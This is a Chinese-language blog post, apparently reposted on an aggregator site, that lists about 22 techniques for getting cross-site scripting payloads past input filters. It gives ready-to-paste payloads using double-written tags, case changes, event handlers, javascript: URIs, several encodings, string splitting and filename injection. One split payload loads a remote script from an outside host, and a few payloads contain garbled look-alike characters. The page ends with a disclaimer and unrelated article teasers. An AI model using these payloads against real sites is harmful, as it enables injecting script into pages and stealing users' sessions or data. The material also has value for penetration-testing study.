跨站脚本攻击漏洞XSS绕过22种方式总结

XSS漏洞简介

跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。要想学习好XSS,需要重点对WEB应用有一个比较深入的了解,对后端防护规则需要有一个大概的了解,才能在渗透测试中游刃有余,在实际的渗透测试场景中,XSS在大多数情况都是增加了防护规则的,下面就介绍一下常见的XSS绕过的思路,仅仅提供思路,更多的还是需要大家对于漏洞的理解。
在这里插入图片描述

前端过滤

burp抓包改包绕过:
通过抓响应包,然后直接删除掉里面的JS校验的代码,核心让JS校验不起作用。
记住一句话: 前端校验等于没有校验。真正的校验还是得后端做。

双写绕过

核心掌握为什么要这样双写。需要知道后端校验的意图。

<scri<script>pt>alert(111)</scri<script>pt>

事件绕过

如:onclick、onmousemove、onblur、oninput事件
主打的就是绕黑名单

onmouseover="alert('miracle')"
onblur=alert(11)
oninput=alert(22)

大小写绕过

主要就是看后端正则校验是否区分了大小写。

<SCRIPT>aLeRT(111)</sCRIpt>

注释干扰绕过

主要还是和正则做对抗:思路思路

<scri<!--test--> pt> alert(1);</scr<!--test--> ipt>

伪协议绕过

这个就要分析源码看有没有相关的属性了,有就可以尝试。

111"> <a href="javascript:alert(9527)">xss</a>

< table background= "javascript:alert(9526)"> </table>

<img srC= "javascript:alert(9528);" >

空格回车Tab绕过

主要和正则对抗:

空格:<img src= "javascript:alert(9527);" >

TAB:< img src= "javasc :ript:alert(9528);" >

回车:< img src= "jav

ascript:

alert('xss');" >

编码绕过

编码绕过的本质就是需要了解编码的发展史,当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。

base64编码:

如果过滤了 < > ' " script,可以用base64编码

eval(") eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
<script> eval(atob('YWxlcnQoOTUyNyk='));</script>

base64编码多用于如下两种情况:
1. <a href= "可控点">
2. < iframe src= "可控点">

举例:
<a href= "data:text/html;base64,PGltZyBzcmM9eCDOv25lcnLOv3I9IGFsZXJ0KDk1MjYpPg==">xxx</a>
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的<img src=x οnerrοr= alert(9526)>

JS编码:

八进制:

三个八进制数字,如果个数不够,在前面补0,例如"e'的编码为"\145"

十六进制:

两个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\x65"
十六进制前面加上\x可以被JS识别
尖括号被转义时,利用十六进制绕过
如:\\x3cscript\\x3ealert(9527);\x3c/script\x3e

unicode:

四个十六进制数字,如果个数不够,在前面补0,'e'的编码为"\u0065"
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(9528);\\u003c/script\\u003e
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

HTML实体编码:

字符编码:十进制、十六进制编码,样式为"&#数值;",例如"<"可以编码为"&#60;"
<img src="1" οnerrοr= "al&#101;r&#116;(1)">
浏览器是不会在html标签里解析js编码的,所以我们在οnerrοr=后面放js中的编码是不会解析你放进去是什么就是什么

URL编码:

进行两次URL全编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

CSS绕过

利用IE特性绕过XSS过滤:

IE中两个反单引号 `` 可以闭合一个左边双引号

``οnmοusemοve= alert(1)

利用css特性绕过xss过滤:

设置background:url,利用JavaScript伪协议执行js,目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(9527);");

低版本IE浏览器6 10 D版本弹窗成功

IE中利用CSS触发xss:

CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(9528);window.x= 1;})

过滤空格

<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置可填充 /,/123/,%09,%0A,%0C,%0D,%20 B位置可填充 %09,%0A,%0C,%0D,%20 C位置可填充 %0B,/**/,如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20 D位置可填充 %09,%0A,%0C,%0D,%20,//,>

字符拼接

利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top
<img src="x" onerror="top['al'+'ert'](1)">

利用window
<img src="x" onerror="window['al'+'ert'](1)">

利用self
<img src="x" onerror="self[`al`+`ert`](1)">

利用parent
<img src="x" onerror="parent[`al`+`ert`](1)">

利用frames
<img src="x" onerror="frames[`al`+`ert`](1)">

其它字符混淆

<<script>alert("xss");//<</script>

<title><img src=</title>><img src=x onerror="alert(`9526`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效

<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

过滤双引号,单引号

用反引号代替单双引号

<img src="x" onerror=alert(`xss`);>

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

alert 过滤

prompt 替换
<script>prompt(9527)</script>

confirm 替换
<script>confirm(9528)</script>

console.log 替换
<script>console.log(3306)</script>

document.write 替换
<script>document.write(8080)</script>

base64 绕过
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

常用函数

<img src="x" onerror="eval(alert(1))">

<img src="x" onerror="open(alert(1))">

<img src="x" onerror="document.write(alert(1))">

<img src="x" onerror="setTimeout(alert(1))">

<img src="x" onerror="setInterval(alert(1))">

<img src="x" onerror="Set.constructor(alert(1))">

<img src="x" onerror="Map.constructor(alert(1))">

<img src="x" onerror="Array.constructor(alert(1))">

<img src="x" onerror="WeakSet.constructor(alert(1))">

<img src="x" onerror="constructor.constructor(alert(1))">

<img src="x" onerror="[1].map(alert(1))">

<img src="x" onerror="[1].find(alert(1))">

<img src="x" onerror="[1].every(alert(1))">

<img src="x" onerror="[1].filter(alert(1))">

<img src="x" onerror="[1].forEach(alert(1))">

<img src="x" onerror="[1].findIndex(alert(1))">

赋值拼接

<img src onerror=_=alert,_(1)>

<img src x=al y=ert onerror=top[x+y](1)>

<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>

<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

拆分法

当 Web 应用程序对目标用户的输入长度进行了限制时,这时无法注入较长的xss攻击向量,但是特定情况下,这种限制可以通过拆分法注入的方式进行绕过

<script>a='document.write("'</script>

<script>a=a+'<script src=ht'</script>

<script>a=a+'tp://note163.com/xs'</script>

<script>a=a+'s.js></script>")'</script>

<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

document.write("<script src = http://note163.com/xss.js></script>")

上传文件构造xss

上传普通文件更改文件名为xss语句

<script>alert(443)</script>.gif/png

XSS绕过cloudflare

Payload:

<svg onload=alert&#0000000040document.domain)>

XSS绕过过滤

Payload:

"/><svg+svg+svg//On+OnLoAd=confirm(6379)>

XSS(上传图片)

<img src=x onerror=alert('XSS')>.png ">

<img src=x οnerrοr=alert('XSS')>.png ">

<svg onmouseover=alert(1)>.svg

<<script>alert('xss')<!--a-->a.png

遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
以上就是XSS绕过的思路总结啦,借鉴了很多前辈的思路!非常🙏!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/299617.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Vue3-39-路由-导航异常的检测 afterEatch 与 编程式导航之后的订阅动作

说明 本文主要是介绍一下 路由的后置守卫 afterEatch 的一个重要的作用 &#xff1a; 就是检测路由异常信息。 它的实现方式是 通过第三个参数来返回的。 而且&#xff0c;它的异常检测是全局的。导航的异常有以下三种类型&#xff1a; aborted : 在导航守卫中 被拦截并返回了…

1月最新阿里云服务器租用价格表_轻量61元_ECS99元一年

2024年1月最新阿里云服务器租用价格表&#xff0c;云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、轻量应用服务器2核2G3M带宽轻量服务器一年61元&#xff0c;2核4G4M带宽轻量服务器一年165元12个月、2核4G服务器30元3个月&#xff0c;云服务器ECS可以选择经济型e实例、通用…

学习笔记——C++运算符之算术运算符

C中运算符包含诸多种类&#xff0c;其中有&#xff1a;算术运算符&#xff0c;赋值运算符&#xff0c;比较运算符和逻辑运算符 每一种运算符及其作用如下表所示&#xff1a; 一&#xff0c;算术运算符1&#xff0c;加减乘除 其中&#xff0c;“”&#xff0c;“-”运算符既可…

QT上位机开发(数据库sqlite编程)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 编写软件的时候&#xff0c;如果用户的数据比较少&#xff0c;那么用json保存是非常方便的。但是一旦数据量大了之后&#xff0c;建议还是用数据库…

编程语言的未来:贴近人类、灵活高效与探索无限

编程语言的未来&#xff1f; 在当今的科技潮流中&#xff0c;编程语言是至关重要的一环&#xff0c;更是赋能科技行业的基础工具。我深信&#xff0c;未来的编程语言可能将朝着更贴近人类、灵活高效和面向无限可能的方向发展。 人性化是我预期的第一个趋势。未来的编程语言将…

如何解决找不到mfc100u.dll无法运行程序问题,分享四种靠谱的方法

在日常使用电脑的过程中&#xff0c;我们可能会遇到各种问题&#xff0c;其中之一就是找不到mfc100u.dll的困扰。这个问题主要是因为mfc100u.dll是Microsoft Foundation Class&#xff08;MFC&#xff09;库中的一个版本特定的DLL文件&#xff0c;它是Visual Studio 2010及更早…

轻松识别几个小时的长音视频文件

前言 之前的文章绍一个准确率非常高的语音识别框架&#xff0c;但那个只能识别实时的短音频&#xff0c;如果想要识别一个非常长的音频&#xff0c;几十分钟&#xff0c;甚至几个小时&#xff0c;那之前的那个是做不到的所以就有了本文。本文介绍搭建一个长语音识别服务&#…

LeetCode刷题:面试题 02.01. 移除重复节点

题目&#xff1a; 是否独立完成&#xff1a;算是&#xff0c;但是使用自己的办法时间复杂度会超标 解题思路&#xff1a; 1.双循环嵌套&#xff0c;定义快慢节点&#xff0c;双层嵌套循环&#xff0c;如果值一样则剔除&#xff0c;但是时间复杂度为O&#xff08;n&#xff09;…

深度卷积生成对抗网络(DCGAN)|完整代码实现

生成对抗网络&#xff08;GAN&#xff09;由Ian Goodfellow在2014年提出。GAN通过训练两个神经网络解决了非监督问题。这两个网络一个称为生成网络&#xff0c;一个称为判别网络。 事实上&#xff0c;该网络的训练过程很有趣。我们可以借助一个例子来理解。最初&#xff0c;伪…

强化学习的数学原理学习笔记 - RL基础知识

文章目录 Roadmap&#x1f7e1;基础概念贝尔曼方程&#xff08;Bellman Equation&#xff09;基本形式矩阵-向量形式迭代求解状态值 vs. 动作值 &#x1f7e1;贝尔曼最优方程&#xff08;Bellman Optimality Equation&#xff0c;BOE&#xff09;基本形式迭代求解 参考资料&…

服务器不稳定是什么意思?有哪些表现

在当今的信息化时代&#xff0c;服务器已经成为企业和组织不可或缺的基础设施。然而&#xff0c;由于各种原因&#xff0c;服务器可能会出现不稳定的情况&#xff0c;给企业和组织带来不必要的损失和风险。那么&#xff0c;什么是服务器不稳定&#xff0c;它又有哪些表现呢&…

35岁的程序员,见到领导就躲,害怕跟领导沟通,你被说中了吗?

35岁的程序员&#xff0c;见到领导就躲&#xff0c;害怕跟领导沟通&#xff0c;你被说中了吗&#xff1f; 35岁的小王是一名项目经验丰富、解决问题能力强的资深程序员&#xff0c;然而却唯独有一个软肋&#xff1a;害怕碰见领导&#xff0c;害怕跟领导沟通。 我们不经要问&a…

西电期末1028.信号解调

一.题目 二.分析与思路 题越来越水了 三.代码实现 #include<bits/stdc.h>//万能头 int main() {int n;int a,b;//坐标for(int i0;i<n;i){scanf("%d%d",&a,&b);if((a-4)*(a-4)(b-4)*(b-4)>(a4)*(a4)(b4)*(b4))printf("2 ");else pri…

STM32 基础知识(探索者开发板)--135讲 ADC转换

ADC定义&#xff1a; ADC即模拟数字转换器&#xff0c;英文详称 Analog-to-digital converter&#xff0c;可以将外部的模拟信号转换 ADC数模转换中一些常用函数&#xff1a; 1. HAL_ADC_Init 函数 HAL_StatusTypeDef HAL_ADC_Init(ADC_HandleTypeDef *hadc); 初始化ADC 形参&…

Redis 持久化——AOF

文章目录 为什么需要AOF?概念持久化查询和设置1. 查询AOF启动状态2. 开启AOF持久化2.1 命令行启动AOF2.2 配置文件启动 AOF 3. 触发持久化3.1 自动触发3.3 手动触发 4. AOF 文件重写4.1 什么是AOF重写&#xff1f;4.2 AOF 重写实现4.3 AOF 重写流程 5. 配置说明6. 数据恢复6.1…

dp--118.杨辉三角/easy 理解度A

118.杨辉三角 1、题目2、题目分析3、解题步骤4、复杂度最优解代码示例5、抽象与扩展 1、题目 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[…

Spring+Vue实战项目环境准备跑通程序

SpringVue 源项目 后端&#xff1a; 首先在GitHub上克隆项目到本地&#xff08;zip包下载/sourcetree拉取/gitbash克隆&#xff09;。 https://github.com/songboriceman/doubao_community_backend 然后下载Lombok安装到你的IDE&#xff08;eclipse&#xff09;。 https://p…

如何将手机中termux用电脑的vnc显示

在电脑中我们同样需要下载 vnc 这里填写手机上的 IP&#xff1a;端口号 我的是 10.11.166.219:5902 下面填名字然后 手机端 输入sshd开始ssh这边就可以连接啦

跨平台开发教学:构建同时支持iOS和Android的教育网校APP

当下&#xff0c;教育行业也逐渐迎来了数字化转型的时代。构建一款支持iOS和Android的教育网校APP&#xff0c;不仅可以提供更好的用户体验&#xff0c;还能扩大应用的覆盖面&#xff0c;满足不同用户群体的需求。 一、选择合适的跨平台开发框架 在开始构建教育网校APP之前&a…